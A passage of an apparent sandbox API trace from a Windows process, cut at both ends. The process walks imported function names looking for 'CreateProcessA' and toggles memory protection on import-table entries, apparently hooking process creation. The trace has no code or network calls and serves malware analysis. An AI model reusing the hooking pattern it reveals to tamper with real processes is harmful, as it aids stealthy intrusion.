lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="LCMapStringA", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="SetFileAttributesA", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="CreateFileA", lpString2="CreateProcessA") returned -1 [0081.906] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="FreeLibrary", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="InterlockedCompareExchange", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="IsDBCSLeadByte", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="GetCPInfo", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="GetFileAttributesA", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="SetErrorMode", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="lstrcmpiA", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="lstrcmpA", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="lstrlenA", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="GetFullPathNameA", lpString2="CreateProcessA") returned 1 [0081.906] lstrcmpiA (lpString1="SearchPathA", lpString2="CreateProcessA") returned 1 [0081.907] lstrcmpiA (lpString1="FindClose", lpString2="CreateProcessA") returned 1 [0081.907] lstrcmpiA (lpString1="FindNextFileA", lpString2="CreateProcessA") returned 1 [0081.907] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75890000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x75890000, AllocationBase=0x75890000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.907] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.907] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e758 [0081.907] VirtualProtect (in: lpAddress=0x758913dc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0081.907] VirtualProtect (in: lpAddress=0x758913dc, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0081.908] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e790 [0081.908] VirtualProtect (in: lpAddress=0x758913d4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0081.909] VirtualProtect (in: lpAddress=0x758913d4, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0081.909] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e7c8 [0081.909] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76d60000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x76d60000, AllocationBase=0x76d60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.909] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.909] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e7c8 [0081.909] VirtualProtect (in: lpAddress=0x76d614d4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0081.958] VirtualProtect (in: lpAddress=0x76d614d4, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0081.958] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e800 [0081.958] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76650000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x76650000, AllocationBase=0x76650000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0081.958] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0081.958] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e800 [0081.958] VirtualProtect (in: lpAddress=0x766511e4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0082.015] VirtualProtect (in: lpAddress=0x766511e4, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0082.015] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e838 [0082.015] VirtualProtect (in: lpAddress=0x76651270, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0082.015] VirtualProtect (in: lpAddress=0x76651270, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0082.015] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e870 [0082.015] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x756b0000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x756b0000, AllocationBase=0x756b0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.016] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.016] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e870 [0082.016] VirtualProtect (in: lpAddress=0x756b17cc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0082.058] VirtualProtect (in: lpAddress=0x756b17cc, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0082.058] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e8a8 [0082.059] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x768e0000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x768e0000, AllocationBase=0x768e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.059] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.059] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e8a8 [0082.059] VirtualProtect (in: lpAddress=0x768e1230, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0082.100] VirtualProtect (in: lpAddress=0x768e1230, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0082.100] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76590000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x76590000, AllocationBase=0x76590000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.100] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.100] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e8e0 [0082.101] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74f30000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x74f30000, AllocationBase=0x74f30000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.101] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.101] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e8e0 [0082.101] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x752c0000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x752c0000, AllocationBase=0x752c0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.101] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.101] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e8e0 [0082.101] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75140000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x75140000, AllocationBase=0x75140000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.101] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.101] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e8e0 [0082.101] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76b30000, lpBuffer=0x37fda4, dwLength=0x1c | out: lpBuffer=0x37fda4*(BaseAddress=0x76b30000, AllocationBase=0x76b30000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.101] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd5c, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd5c, ReturnLength=0x0) returned 0x0 [0082.102] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e8e0 [0082.102] VirtualProtect (in: lpAddress=0x76b31168, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x20) returned 1 [0082.124] VirtualProtect (in: lpAddress=0x76b31168, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd74 | out: lpflOldProtect=0x37fd74*=0x40) returned 1 [0082.125] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274e918 [0082.125] lstrcmpiA (lpString1="memset", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="_CIsqrt", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="wcstoul", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="memmove", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="_vsnwprintf", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="memcpy", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="_ftol2_sse", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="_XcptFilter", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="malloc", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="free", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="_initterm", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="_amsg_exit", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="_except_handler4_common", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="_unlock", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="__dllonexit", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="_lock", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="_onexit", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="_vsnprintf", lpString2="CreateProcessA") returned -1 [0082.125] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="RegOpenCurrentUser", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="RegGetValueW", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="RegDeleteKeyExW", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="RegEnumKeyExW", lpString2="CreateProcessA") returned 1 [0082.125] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="RegQueryInfoKeyW", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="RegEnumValueW", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="TlsFree", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="TlsAlloc", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="TlsSetValue", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="ExitThread", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="CreateThread", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="TlsGetValue", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="FreeSid", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="AllocateAndInitializeSid", lpString2="CreateProcessA") returned -1 [0082.126] lstrcmpiA (lpString1="CheckTokenMembership", lpString2="CreateProcessA") returned -1 [0082.126] lstrcmpiA (lpString1="GetSidSubAuthority", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="GetSidSubAuthorityCount", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="LocalReAlloc", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="IsDBCSLeadByteEx", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="GetACP", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="InterlockedCompareExchange", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="GetSystemInfo", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0082.126] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessA") returned 1 [0082.126] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="FlushViewOfFile", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="DebugBreak", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GlobalAlloc", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GlobalFree", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="InterlockedExchange", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="LCMapStringW", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="ActivateActCtx", lpString2="CreateProcessA") returned -1 [0082.127] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="CreateActCtxW", lpString2="CreateProcessA") returned -1 [0082.127] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GetSystemDefaultLangID", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GetSystemWindowsDirectoryW", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GetLocaleInfoA", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GlobalLock", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="FlsSetValue", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GlobalUnlock", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="CompareStringW", lpString2="CreateProcessA") returned -1 [0082.127] lstrcmpiA (lpString1="OpenProcess", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="lstrcmpW", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="FreeLibrary", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="DeleteAtom", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="CreateProcessA") returned -1 [0082.127] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessA") returned 1 [0082.127] lstrcmpiA (lpString1="OpenMutexW", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="FindAtomW", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="AddAtomW", lpString2="CreateProcessA") returned -1 [0082.128] lstrcmpiA (lpString1="FlsFree", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="FlsAlloc", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="OpenEventW", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0082.128] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="SetEvent", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="ResetEvent", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="CreateMutexW", lpString2="CreateProcessA") returned -1 [0082.128] lstrcmpiA (lpString1="lstrlenW", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="GetEnvironmentVariableW", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="ReleaseMutex", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="SetFilePointer", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="lstrlenA", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="GetLocalTime", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="InterlockedDecrement", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="CreateEventW", lpString2="CreateProcessA") returned -1 [0082.128] lstrcmpiA (lpString1="CompareStringA", lpString2="CreateProcessA") returned -1 [0082.128] lstrcmpiA (lpString1="InterlockedIncrement", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="EtwEventUnregister", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="EtwEventRegister", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="RtlDosPathNameToNtPathName_U", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="NtCreateFile", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="RtlFreeUnicodeString", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="NtQueryInformationProcess", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="RtlFormatCurrentUserKeyPath", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="RtlInitUnicodeString", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="NtOpenKey", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="NtQueryValueKey", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="NtClose", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="RtlUnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="EtwEventWrite", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="EtwEventEnabled", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="WinSqmAddToStream", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="NtAlpcDeletePortSection", lpString2="CreateProcessA") returned 1 [0082.128] lstrcmpiA (lpString1="NtAlpcCreateSectionView", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="NtAlpcCreatePortSection", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="AlpcGetMessageAttribute", lpString2="CreateProcessA") returned -1 [0082.129] lstrcmpiA (lpString1="NtAlpcConnectPort", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="NtAlpcSendWaitReceivePort", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="NtAlpcCancelMessage", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="NtAlpcAcceptConnectPort", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="NtAlpcDeleteSectionView", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="NtAlpcCreatePort", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="AlpcInitializeMessageAttribute", lpString2="CreateProcessA") returned -1 [0082.129] lstrcmpiA (lpString1="LdrUnlockLoaderLock", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="LdrLockLoaderLock", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="NtWriteFile", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="RtlDllShutdownInProgress", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="CopyImage", lpString2="CreateProcessA") returned -1 [0082.129] lstrcmpiA (lpString1="SetWindowLongW", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="ReleaseDC", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="GetDC", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="DestroyMenu", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="TrackPopupMenuEx", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="CreatePopupMenu", lpString2="CreateProcessA") returned -1 [0082.129] lstrcmpiA (lpString1="LoadImageW", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="PrivateExtractIconsW", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="CopyIcon", lpString2="CreateProcessA") returned -1 [0082.129] lstrcmpiA (lpString1="GetSysColor", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="GetActiveWindow", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="InsertMenuItemW", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="PeekMessageA", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="GetMessageA", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="GetMessageW", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="SetThreadDesktop", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="GetKeyboardLayoutList", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA (lpString1="LoadKeyboardLayoutW", lpString2="CreateProcessA") returned 1 [0082.129] lstrcmpiA 